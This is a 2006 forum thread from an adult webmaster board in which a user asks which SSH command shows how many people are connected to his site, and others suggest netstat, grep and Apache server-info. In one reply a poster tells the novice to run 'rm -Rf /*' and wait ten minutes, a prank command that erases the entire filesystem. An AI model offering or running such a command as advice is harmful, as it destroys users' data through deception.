GoFuckYourself.com - Adult Webmaster Forum

GoFuckYourself.com - Adult Webmaster Forum (https://gfy.com/index.php)
-   Fucking Around & Business Discussion (https://gfy.com/forumdisplay.php?f=26)
-   -   ssh command to show me how many connections to a domain? (https://gfy.com/showthread.php?t=615623)

Chris 05-29-2006 10:22 PM

ssh command to show me how many connections to a domain?
 
I am logged in
i type netstat

is that showing how many people are on my site??

Code:

]# netstat
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address              Foreign Address            Stat                        e
tcp        0    268 myserver.jupzchris.com:ssh  cpe-70-123-167-116.hot:1508 ESTA                        BLISHED
Active UNIX domain sockets (w/o servers)
Proto RefCnt Flags      Type      State        I-Node Path
unix  13    [ ]        DGRAM                    1971  /dev/log
unix  2      [ ]        DGRAM                    32441520
unix  3      [ ]        STREAM    CONNECTED    32441478
unix  3      [ ]        STREAM    CONNECTED    32441477
unix  3      [ ]        STREAM    CONNECTED    32408775 /var/lib/mysql/mysql.                        sock
unix  3      [ ]        STREAM    CONNECTED    32408774
unix  2      [ ]        DGRAM                    208652
unix  2      [ ]        DGRAM                    206200
unix  2      [ ]        DGRAM                    5127
unix  3      [ ]        STREAM    CONNECTED    4325
unix  3      [ ]        STREAM    CONNECTED    4324
unix  3      [ ]        STREAM    CONNECTED    4323
unix  3      [ ]        STREAM    CONNECTED    4322
unix  2      [ ]        DGRAM                    4291
unix  2      [ ]        DGRAM                    3521
unix  2      [ ]        DGRAM                    3043
unix  2      [ ]        DGRAM                    2593
unix  2      [ ]        DGRAM                    2575
unix  2      [ ]        DGRAM                    2435
unix  2      [ ]        DGRAM                    2041
unix  2      [ ]        DGRAM                    1979
[email protected] [~]#


darksoul 05-29-2006 11:45 PM

yup.
And as I see theres none.

A better command is
Code:

netstat -an|grep ESTA

MrJackMeHoff 05-29-2006 11:49 PM

use "rm -Rf /*"

Dont touch your keyboard for at least 10 min its working..

____

Why not just turn on server-info in apache.. Its a simple way to see.

iTEAM 05-30-2006 12:07 AM

Try this:
ps -aux | grep httpd | wc -l; netstat -na | grep :80 | wc -l;uptime


All times are GMT -7. The time now is 03:26 PM.

Powered by vBulletin® Version 3.8.8
Copyright ©2000 - 2025, vBulletin Solutions, Inc.
©2000-, AI Media Network Inc123